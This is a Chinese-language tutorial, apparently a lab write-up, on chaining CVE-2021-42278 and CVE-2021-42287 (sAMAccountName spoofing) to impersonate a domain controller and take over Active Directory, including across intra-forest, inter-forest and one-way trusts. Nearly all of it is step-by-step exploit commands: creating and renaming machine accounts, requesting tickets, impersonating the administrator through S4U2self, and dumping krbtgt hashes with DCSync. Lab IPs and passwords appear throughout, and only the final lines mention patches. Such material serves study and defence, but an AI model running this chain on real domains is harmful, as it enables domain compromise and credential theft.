sAMAccountName spoofing在域信任中的利用
字数 1538 2025-08-24 20:49:22
sAMAccountName Spoofing在域信任中的利用 - 详细教学文档
漏洞概述
本教学文档详细讲解CVE-2021-42278和CVE-2021-42287两个漏洞的组合利用,以及如何在域信任环境中进行sAMAccountName欺骗攻击。
相关CVE
-
CVE-2021-42278:
- 域中所有机器名称都以$符结尾
- Active Directory不会检查机器名账户名末尾是否带有$符
-
CVE-2021-42287:
- 在申请ST过程中,需要先申请TGT然后带着申请到的TGT去向TGS请求ST
- 当KDC没有找到TGT中指定的服务名称时,会在该服务名称的后边添加$符进行重新搜索
漏洞组合利用原理
- 创建一个与域DC机器账户名(如DC1\()一样的机器账户DC1(不带\)符)
- 申请TGT
- 修改/删除新增的机器账户名称
- 用申请到的TGT进行S4U2self去向TGS请求ST
- KDC找不到机器账户DC1,转而查找DC1$(即DC本身)
- 使用DC1$(DC本身)的NTLM hash加密ST
- 获得高权限ST
前提条件
1. ms-DS-MachineAccountQuota权限
- 需要创建机器账户的权限
- 默认值为10,ms-DS-MachineAccountQuota > 0即可
- 需要对sAMAccountName和servicePrincipalName属性有写权限
检查方法:
# 方法1: ADSI Edit
ADSI Edit -> 选择对应域名 -> 属性 -> ms-DS-MachineAccountQuota
# 方法2: powerview
(Get-DomainObject | select ms-DS-MachineAccountQuota | out-string).trim()
# 方法3: ldapsearch/windapsearch
ldapsearch -x -H ldap://192.168.1.99 -D 'sub\usera' -w 'admin123..' -b "DC=sub,DC=b,DC=local" | grep "ms-ds-machineaccountquota" -i
./windapsearch --dc 192.168.1.99 -d sub.b.local -u usera -p 'admin123..' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=sub,DC=b,DC=local))' --attrs ms-ds-machineAccountQuota
2. SeMachineAccountPrivilege权限
- Authenticated Users默认在GPO配置中具有"Add workstations to domain"权限(SeMachineAccountPrivilege)
- 查询谁有此权限:
powershell -exec bypass -Command "&{import-module .\powerview.ps1;(Get-DomainPolicy -Policy dc).privilegerights | select SeMachineAccountPrivilege | Add-member -NotePropertyname 'Principalname' -Notepropertyvalue (ConvertFrom-SID $_.SeMachineAccountPrivilege.substring(1,$_.SeMachineAccountPrivilege.Length-1));$_ | Format-List}"
3. 目标DC未打补丁
- 目标DC没有打KB5008380和KB5008602补丁
- 可通过rubeus检测;打完补丁后返回的TGT包很大
漏洞利用步骤
1. 创建一个机器账户
python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..'
2. 清除该机器账户SPN
python3 addspn.py -u 'sub.b.local\usera' -p 'admin123..' -t 'fakespn$' -c 192.168.1.99
3. 将该机器账户名称重命名为域控机器名
python3 renameMachine.py -current-name 'fakespn$' -new-name sub1 -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..'
4. 为机器账户申请TGT票据
python3 getTGT.py -dc-ip 192.168.1.99 sub.b.local/sub1:'fakespnpassword'
5. 重命名/删掉机器账户
python3 renameMachine.py -current-name sub1 -new-name 'fakespn$' sub.b.local/usera:'admin123..' -dc-ip 192.168.1.99
6. 通过S4U2self申请ST
KRB5CCNAME=sub1.ccache python3 getST.py -impersonate administrator -spn cifs/sub1.sub.b.local sub.b.local/sub1 -k -no-pass -dc-ip 192.168.1.99 -self
7. DCSync
KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass sub1.sub.b.local -dc-ip 192.168.1.99 -just-dc-user 'sub\krbtgt'
8. 删除添加的机器账户
KRB5CCNAME=administrator.ccache python3 addcomputer.py -k -no-pass sub.b.local/administrator -computer-name 'fakespn$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 -delete
跨域利用
林内信任利用
环境说明:
- 子域: sub2.b.local 域控ip:192.168.1.103
- 父域: b.local 域控ip:192.168.1.88 域控主机:test-dc.b.local
# 1. 创建机器账户
python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host test-dc.b.local -dc-ip 192.168.1.88 sub2.b.local/test:'admin111..'
# 2. 清除SPN
python3 addspn.py -u 'sub2.b.local\test' -p 'admin111..' -t 'fakespn$' -c 192.168.1.88
# 3. 重命名为域控名
python3 renameMachine.py -current-name 'fakespn$' -new-name test-dc -dc-ip 192.168.1.88 sub2.b.local/test:'admin111..'
# 4. 申请TGT
python3 getTGT.py -dc-ip 192.168.1.88 b.local/test-dc:'fakespnpassword'
# 5. 重命名回原账户
python3 renameMachine.py -current-name test-dc -new-name 'fakespn$' sub2.b.local/test:'admin111..' -dc-ip 192.168.1.88
# 6. 申请ST
KRB5CCNAME=test-dc.ccache python3 getST.py -impersonate administrator -spn cifs/test-dc.b.local b.local/test-dc -k -no-pass -dc-ip 192.168.1.88 -self
# 7. DCSync
KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass test-dc.b.local -dc-ip 192.168.1.103 -target-ip 192.168.1.88 -just-dc-user 'b\administrator'
林间信任利用
环境说明:
- B子域: sub2.b.local 域控ip:192.168.1.103
- B父域: b.local 域控ip:192.168.1.88 域控主机:test-dc.b.local
- A域: a.local 域控ip:192.168.1.111 域控主机:a-dc.a.local
# 1. 创建机器账户
python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host a-dc.a.local -dc-ip 192.168.1.111 sub2.b.local/test:'admin111..'
# 2. 清除SPN
python3 addspn.py -u 'sub2.b.local\test' -p 'admin111..' -t 'fakespn$' -c 192.168.1.111
# 3. 重命名为域控名
python3 renameMachine.py -current-name 'fakespn$' -new-name a-dc -dc-ip 192.168.1.111 sub2.b.local/test:'admin111..'
# 4. 申请TGT
python3 getTGT.py -dc-ip 192.168.1.111 a.local/a-dc:'fakespnpassword'
# 5. 重命名回原账户
python3 renameMachine.py -current-name a-dc -new-name 'fakespn$' sub2.b.local/test:'admin111..' -dc-ip 192.168.1.111
# 6. 申请ST
KRB5CCNAME=a-dc.ccache python3 getST.py -impersonate administrator -spn cifs/a-dc.a.local a.local/a-dc -k -no-pass -dc-ip 192.168.1.111 -self
# 7. DCSync
KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass a-dc.a.local -dc-ip 192.168.1.103 -target-ip 192.168.1.111 -just-dc-user 'a\krbtgt'
单向信任利用
环境说明:
- pentest.com: 域控主机:WIN-I5EEUJ7MD5N.pentest.com ip:192.168.1.56
- test.lab: 域控主机:testlab.test.lab ip:192.168.1.33
- pentest.com 单向信任 test.lab
# 1. 创建机器账户
python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host WIN-I5EEUJ7MD5N.pentest.com -dc-ip 192.168.1.56 test.lab/test:'admin123..'
# 2. 清除SPN
python3 addspn.py -u 'test.lab\test' -p 'admin123..' -t 'fakespn$' -c 192.168.1.56
# 3. 重命名为域控名
python3 renameMachine.py -current-name 'fakespn$' -new-name WIN-I5EEUJ7MD5N -dc-ip 192.168.1.56 test.lab/test:'admin123..'
# 4. 申请TGT
python3 getTGT.py -dc-ip 192.168.1.56 pentest.com/WIN-I5EEUJ7MD5N:'fakespnpassword'
# 5. 重命名回原账户
python3 renameMachine.py -current-name WIN-I5EEUJ7MD5N -new-name 'fakespn$' test.lab/test:'admin123..' -dc-ip 192.168.1.56
# 6. 申请ST
KRB5CCNAME=WIN-I5EEUJ7MD5N.ccache python3 getST.py -impersonate administrator -spn cifs/WIN-I5EEUJ7MD5N.pentest.com pentest.com/WIN-I5EEUJ7MD5N -k -no-pass -dc-ip 192.168.1.56 -self
# 7. DCSync
KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass WIN-I5EEUJ7MD5N.pentest.com -dc-ip 192.168.1.33 -target-ip 192.168.1.56 -just-dc-user 'pentest\krbtgt'
注意事项
- 实际名称不是显示的名称,而是属性->常规->计算机名(windows2000以前版本)(w)对应的名称
- 删除机器账户时可能需要使用不同的方法:
# 方法1
python3 renameMachine.py -current-name 'fakespn$' -new-name fakespn2$ -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..'
# 方法2
python3 addcomputer.py -computer-name 'fakespn$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..' -delete
# 方法3
python3 addcomputer.py -computer-name 'fakespn2$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..' -delete
# 方法4
KRB5CCNAME=administrator.ccache python3 addcomputer.py -k -no-pass sub.b.local/administrator -computer-name 'fakespn2$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 -delete
总结
- 该攻击方法在林内、林间和单向信任环境中均可利用
- 关键在于利用sAMAccountName命名规则和KDC查找机制的特性
- 攻击过程中不需要目标域向当前域做认证,因此单向信任也可利用
- 防御措施包括安装补丁KB5008380和KB5008602,以及限制机器账户创建权限